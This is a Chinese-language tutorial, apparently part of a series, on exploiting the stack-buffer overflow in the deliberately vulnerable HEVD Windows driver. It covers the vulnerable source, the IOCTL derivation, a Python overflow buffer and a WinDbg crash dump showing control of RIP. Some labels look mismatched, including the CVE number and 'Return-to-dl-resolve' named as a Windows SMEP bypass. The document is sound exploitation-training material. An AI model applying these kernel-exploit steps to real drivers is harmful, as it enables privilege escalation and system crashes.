导语:如果你以前没有使用过Windows驱动程序,我们可以先为你做个简单的背景介绍。用户模式代码使用Kernel32.dll中的DeviceIoControl API调用驱动程序。
上一章我们已经把调试环境给设置好了,本章我们就来说说如何来来利用这些漏洞。
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver上有很多有趣的漏洞。我们之所以会使用这些有漏洞的驱动程序,是因为我们更熟悉Ring0模式下的有效载荷(Intel的CPU将特权级别分为4个级别:RING0,RING1,RING2,RING3。Windows只使用其中的两个级别RING0和RING3,RING0只给操作系统用),选择容易的堆栈溢出,可以让我们更专注于有效载荷。
漏洞源代码审查
如果你以前没有使用过Windows驱动程序,我们可以先为你做个简单的背景介绍。用户模式代码使用Kernel32.dll中的DeviceIoControl API调用驱动程序。用户模式代码会为其想要交互的设备提供一个句柄(例如“HacksysExtremeVulnerableDriver”),一个I / O控制代码(IOCTL),这些信息基本上可以让驱动程执行我们所想要的操作,以及输入和输出缓冲器。驱动程序使用IRP(interrupt request package,中断请求包)可以将所有信息传递给相应的IOCTL处理程序函数。
HEVC的IOCTL调度功能在HackSysExtremeVulnerableDriver.c中的IrpDeviceIoCtlHandler()函数中的switch{case}结构中实现:
IrpSp = IoGetCurrentIrpStackLocation(Irp); IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode; if (IrpSp) { switch (IoControlCode) { case HACKSYS_EVD_IOCTL_STACK_OVERFLOW: DbgPrint("****** HACKSYS_EVD_STACKOVERFLOW ******n"); Status = StackOverflowIoctlHandler(Irp, IrpSp); DbgPrint("****** HACKSYS_EVD_STACKOVERFLOW ******n"); break;
如上所示, IRP和堆栈指针传递给StackOverflowIoctlHandler(),它是在StackOverflow.c中实现的,其代码片段如下所示。 Size参数只是用户模式下代码提供的输入的长度:
NTSTATUS StackOverflowIoctlHandler(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp) { UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer; Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength; if (UserBuffer) { Status = TriggerStackOverflow(UserBuffer, Size); }
TriggerStackOverflow()函数不会首先检查UserBuffer的大小,看它是否为<= KernelBuffer:而是直接将UserBuffer复制到KernelBuffer中:
DbgPrint("[+] Triggering Stack Overflown"); RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
漏洞逆向工程
因为我们通常不会对驱动程序的源代码进行审查,所以让我们先来来看看驱动程序的反汇编,这个过程很容易,因为代码中有帮助提示的纯文本调试字符串,以及我们所使用驱动程序的调试符号(Visual Studio项目目录中的.pdb文件)。
如果你需要做很多逆向工程,则很容易在IDA流程图中的IrpDeviceIoCtlHandler() switch table中识别出来:
这是驱动程序将IRP中的IOCTL与其知道的IOCTL进行比较的地方,因此它可以调用适当的处理程序函数。一旦找到匹配的IOCTL,它将调用相关的处理程序:
PAGE:FFFFF880037281D3 loc_FFFFF880037281D3: ; CODE XREF: IrpDeviceIoCtlHandler+31j PAGE:FFFFF880037281D3 lea rcx, aHacksys_evd_st ; "****** HACKSYS_EVD_STACKOVERFLOW ******"... PAGE:FFFFF880037281DA call DbgPrint PAGE:FFFFF880037281DF mov rdx, rdi ; IrpSp PAGE:FFFFF880037281E2 mov rcx, rbx ; Irp PAGE:FFFFF880037281E5 call StackOverflowIoctlHandler PAGE:FFFFF880037281EA lea rcx, aHacksys_evd_st ; "****** HACKSYS_EVD_STACKOVERFLOW ******"... PAGE:FFFFF880037281F1 jmp loc_FFFFF8800372831E
正如我们在源代码中看到的,StackOverflowIoctlHandler()是一个非常小的函数,基本上只是调用TriggerStackOverflow(),在IDA中看起来像这样:
我们可以看到在调用memset函数时,会出现一个0x800(2048)字节的缓冲区。
当这些条件都具备了之后,我们就可以开始对漏洞进行使用了,看看我们能否获得受控的RIP覆盖。
DOS POC (CVE-2013-2070)漏洞利用
首先我们要强调一下,我们进行操作的环境为 Python中ctypes,ctypes是Python的一个外部库,提供和C语言兼容的数据类型,可以很方便地调用C DLL中的函数。
本次漏洞的利用共分四步:
1.获取容易受到攻击的设备的句柄
2.获取正确的IOCTL的堆栈溢出功能
3.创建一个超过2048字节大小的缓冲区
4.触发漏洞的代码
第一步,获取句柄
要获得设备的句柄,我们需要在Kernel32.dll中使用CreateFile API,这个函数可以创建或打开一个对象的句柄,凭借此句柄就可以控制这些对象:
控制台对象、通信资源对象、目录对象(只能打开)、磁盘设备对象、文件对象、邮槽对象、管道对象。不过具体功能的实现还是要取决于文件或设备的属性。“函数原型非常简单,不包含任何特殊结构,所以我们可以在Python中轻松重新创建它。我们把每个常数的十六进制值(GENERIC_READ等)定义的Python脚本的顶部,然后创建一个函数调用API并返回设备的句柄:
第二步,获取IOCTL
IOCTL是一个DWORD类型的值,由设备类型、访问权限、功能代码、缓冲类型四个部分组成。DWORD类型是4字节32位,四个组成部分占据了32位的不同部分。驱动程序开发人员通常可以对除了功能代码外的其他三部分进行自定义,由于功能代码是一个十六进制的值,只要这个值高于0x7FF就可以作为第三方驱动程序。Windows 驱动程序工具包 (WDK)为开发人员提供了一个宏来定义这些IOCTL:
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
对于这个宏,我们要强调一下,如果是在C语言中编写的exploit,可以使用相同的宏,但是由于我们选择了Python,就必须重新实现宏,或者对IOCTL进行简单的硬编码,本文中,我们选择了重新实现宏的方法:
请注意,我们在三个输入框输入了一些公共默认值,只需要功能代码:
ioctl = ctl_code(0x800)
如果需要,还可以手动运行宏以查看IOCTL的外观:
>>> ioctl = ((0x00000022 << 16) | (0x00000000 << 14) | (0x800 << 2) | 0x00000003) >>> hex(ioctl) '0x222003' >>>
除了使用像ioctlbf这样的工具来强制使用有效的IOCTL外,我们通常需要在关闭源代码驱动程序之前使用反转IOCTL,然后才能进行交互。让我们仔细看看HEVD的IOCTL调度函数中的switch table,这个我们在前面简要介绍过。
IrpDeviceIoCtlHandler()通过将一个硬编码的起始值(0x22201B)加载到eax中,并计算出从switch table的哪个位置开始:
在本文中,我们指定的IOCTL(0x222003)不会导致执行转移到switch table的另一半(ja =“jump if above”;我们的IOCTL小于或低于0x22201B)。然后驱动程序从提供的IOCTL中开始进行匹配选择,如果计算结果为零(即它们匹配),则被分配到StackOverflowIoctlHandler():
注意,如果我们指定了另一个IOCTL,它将从IOCTL中减去4以找到匹配值或错误返回。
第三步,创建缓冲区
在Python中实现这一步非常简单,使用create_string_buffer()函数,它完全符合我们的需要。我们看到之前的漏洞函数需要一个2048字节的缓冲区。所以为了覆盖RIP,我们不需要太多的操作。我们喜欢把缓冲区分成可识别的单元,所以大家可以看到某些变量被覆盖。我们将从以下这个缓冲区开始:
evilbuf = create_string_buffer("A"*2048 + "B"*8 + "C"*8 + "D"*8)
第四步触发漏洞
如果前面几步都非常顺利的话,我们现在就可以使用DeviceIoControl function 来触发漏洞:
不过也可能出现一些操作错误:
****** HACKSYS_EVD_STACKOVERFLOW ****** [+] UserBuffer: 0x0000000002D99330 [+] UserBuffer Size: 0x819 [+] KernelBuffer: 0xFFFFF88004EC6FE0 [+] KernelBuffer Size: 0x800 [+] Triggering Stack Overflow *** Fatal System Error: 0x0000003b (0x00000000C0000005,0xFFFFF88005921912,0xFFFFF88004EC6E00,0x0000000000000000) Break instruction exception - code 80000003 (first chance) A fatal system error has occurred. Debugger entered on first try; Bugcheck callbacks have not been invoked. Connected to Windows 7 7601 x64 target at (Wed Jul 6 14:33:45.047 2016 (UTC - 4:00)), ptr64 TRUE Use !analyze -v to get detailed debugging information. BugCheck 3B, {c0000005, fffff88005921912, fffff88004ec6e00, 0} 0: kd> !analyze -v ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* SYSTEM_SERVICE_EXCEPTION (3b) An exception happened while executing a system service routine. Arguments: Arg1: 00000000c0000005, Exception code that caused the bugcheck Arg2: fffff88005921912, Address of the instruction which caused the bugcheck Arg3: fffff88004ec6e00, Address of the context record for the exception that caused the bugcheck Arg4: 0000000000000000, zero. Debugging Details: ------------------ BUGCHECK_P1: c0000005 BUGCHECK_P2: fffff88005921912 BUGCHECK_P3: fffff88004ec6e00 BUGCHECK_P4: 0 EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. FAULTING_IP: HEVD-Win7x64+6912 fffff880`05921912 c3 ret CONTEXT: fffff88004ec6e00 -- (.cxr 0xfffff88004ec6e00) rax=0000000000000000 rbx=4444444444444444 rcx=fffff88004ec6fe0 rdx=0000077ffded2350 rsi=0000000000000000 rdi=fffffa8003e10760 rip=fffff88005921912 rsp=fffff88004ec77e8 rbp=fffffa8002295c70 r8=0000000000000000 r9=0000000000000000 r10=0000000000000000 r11=fffff88004ec77e0 r12=fffffa80042ada00 r13=0000000000000000 r14=4242424242424242 r15=0000000000000003 iopl=0 nv up ei pl zr na po nc cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010246 HEVD-Win7x64+0x6912: fffff880`05921912 c3 ret Resetting default scope DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT BUGCHECK_STR: 0x3B PROCESS_NAME: pythonw.exe CURRENT_IRQL: 2 LAST_CONTROL_TRANSFER: from 4343434343434343 to fffff88005921912 STACK_TEXT: fffff880`04ec77e8 43434343`43434343 : 44444444`44444444 00000000`00000000 fffffa80`03e10760 fffff880`04ec7a01 : HEVD+0x6912 fffff880`04ec77f0 44444444`44444444 : 00000000`00000000 fffffa80`03e10760 fffff880`04ec7a01 00000000`00000000 : 0x43434343`43434343 fffff880`04ec77f8 00000000`00000000 : fffffa80`03e10760 fffff880`04ec7a01 00000000`00000000 fffff880`059211ea : 0x44444444`44444444 FOLLOWUP_IP: HEVD-Win7x64+6912 fffff880`05921912 c3 ret FAULT_INSTR_CODE: 8348ccc3 SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: HEVD-Win7x64+6912 FOLLOWUP_NAME: MachineOwner MODULE_NAME: HEVD-Win7x64 IMAGE_NAME: HEVD-Win7x64.sys
从这个缩写的输出中我们可以看出,当调用ret指令时触发了错误检查时,其中堆栈的顶部包含值是0x4343434343434343。 另外值得注意的是,我们拥有rbx和r14寄存器,当我们在Windows 8.1中构建一个ROP链 ( Return-to-dl-resolve)来绕过SMEP时会很方便。